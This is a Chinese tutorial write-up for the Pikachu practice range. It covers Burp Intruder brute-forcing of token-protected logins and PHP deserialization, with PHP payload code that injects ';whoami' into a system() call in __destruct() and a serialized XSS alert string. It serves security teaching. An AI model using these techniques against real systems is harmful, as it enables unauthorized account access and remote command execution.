靶场:pikachu靶场
pikachu漏洞靶场漏洞类型:
- Burt Force(暴力破解漏洞)
- XSS(跨站脚本漏洞)
- CSRF(跨站请求伪造)
- SQL-Inject(SQL注入漏洞)
- RCE(远程命令/代码执行)
- Files Inclusion(文件包含漏洞)
- Unsafe file downloads(不安全的文件下载)
- Unsafe file uploads(不安全的文件上传)
- Over Permisson(越权漏洞)
- ../../../(目录遍历)
- I can see your ABC(敏感信息泄露)
- PHP反序列化漏洞
- XXE(XML External Entity attack)
- 不安全的URL重定向
- SSRF(Server-Side Request Forgery)
今天重点说一下Token暴力破解与PHP反序列化
一、暴力破解之Token爆破
token是表单验证的方法之一、也是防止爆破的,但是它如果出现在前端页面标签中,就会被捕获到实施爆破,因此就是去了它原本的作用。
表单爆破结果
首先爆破的方法与常规方法一样,都要进行抓包。【在我的文章上有爆破表单账号密码过程和待验证码的爆破方法】
一、 当我们抓到包后进行添加攻击者方法、选择爆破方法是草叉方法,因为分别爆破、token是独立的。
二、之后我们进行token的爆破设置方法、首先在设置中找到Grep-Extract、让它识别到token。
三、 之后我们点击Add 、进行token识别设置
在Start after expression 部分是你的token开始标志、也就是除开这里,就是token的开始部分
之后再设置End at fied length 这个是token的结束长度、token的长度是多少、这里就设置多少
也可以设置end ad delimiter 是token结束的标志。
四、之后、我们设置Redirctions 把它从Never 改到always,设置重定向
五、我们设置token的payload、把payload类型设置为Recursive grep,并且把payload sttings[Recursive grep]中的frst request【第一个请求】设置我们当时抓包的token值
以上设置好后,pyload1 和普通爆破模式一样、爆破即可。
二、PHP反序列化
在面向对象编程语言中有类的概念,当我们把类转化为字符串输出就是进行了一次序列化操作。
那么我们将序列化后的字符串进行还原便是反序列化操作。
例如:我们进行个序列化操作
<?php
//声明个类human
class human{
//定义变量属性public $name = "小李";public $age = "20";
}
//将类实体化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)
?>
此时输出结果为:O:5:"human":2:{s:4:"name";s:6:"小李";s:10:"humanage";s:2:"20";}
我们来看一下字符串:O 表示对象(Object)5表示类名长度,后面跟着类名字、2表示有两个属性、其中内容用{}括起来、s表示字符串(string)4表示变量名长度、、、、以此类推。
这是进行了一次序列化操作、那么反序列化呢?
<?php
//声明个类human
class human{
//定义变量属性public $name = "小李";public $age = "20";
}
//将类实体化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)?>
输出结果为:
object(human)#2 (2) {
["name"]=>
string(6) "小李"
["age"]=>
string(2) "20"
}
由此我们就进行了一次序列化和反序列化操作。
PHP反序列化漏洞
那么、在此过程中是如何有漏洞发生呢?这就要谈到php的魔法函数。在序列化和反序列化中魔法函数是以下划线开头的函数、它们会在特定的事件发生后自动调用、这样增加了类的灵活性。
其中魔法函数有:
__construct() 对象被创建时候调用
__destruct() 对象销毁时调用
__toString() 对象当作字符串时调用
__get() 在访问对象时候不存在或不可访问属性时调用
__set() 给不存在的访问对象或者不可访问属性赋值时调用
__call() 当调用对象不存在时调用
__callstatic() 当类中不存在静态类时调用
魔法函数还有很多种、不一一举例了。
<?php
//声明个类human
class human{
//定义变量属性public $name = "小李";//当类被创建时调用public function __construct(){echo "此类被创建了!我的名字是".$this->name;}//当类被销毁时调用public function __destruct(){echo "此类被销毁了!我的名字是".$this->name;}
}
//将类实体化
$Li = new human();
//序列化
$enstr = serialize($Li);
//输出结果
echo $enstr
?>
其结果为: 此类被创建了!我的名字是小李O:5:"human":1:{s:4:"name";s:6:"小李";}此类被销毁了!我的名字是小李
由此我们知道魔法函数的作用了,现在我们整理一下信息:
1、魔法函数是在类特定的情况被自动调用
2、类可以序列化以及反序列化。
那么、试想一下、类可序列化以及反序列化、那如果我们在魔法函数内的变量可控、并且进行序列化后再反序列化、并且可控函数是system()这样执行系命令操作,那么这是不是就造成了任意命令执行呢?
漏洞payload:
<?php
//声明个类human
class human{
//定义变量属性public $name = "小李";//当类被销毁时调用public function __destruct(){system("echo 此类被销毁了!我的名字是".$this->name);}
}
//将类实体化
$Li = new human();
//payload 中用;隔开分开执行命令、这样保证后半部分单独执行命令
$payload = "小李;whoami";
//把类中的name属性替换掉攻击命令
$Li-> name = $payload;
//序列化
$enstr = urlencode(serialize($Li));
//输出结果
echo $enstr;
?>
我们进行了带有执行系统命令的序列化操作后,目标进行反序列化操作即可执whoami命令了。
那么我们来看pikaqiu中的反序列化漏洞吧:
pikachu提示说接收以及序列化的数据,那么我们就构造个前端XSS的序列化操作。
<?php
//声明个类human
class S{
//定义变量属性var $test = "hello";
}
//将类实体化
$a = new S();
$payload = "<script>alert('xss')</script>";
$a-> test = $payload;
//序列化
$enstr = serialize($a);
//输出结果
echo $enstr;
?>
结果为:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
提交即可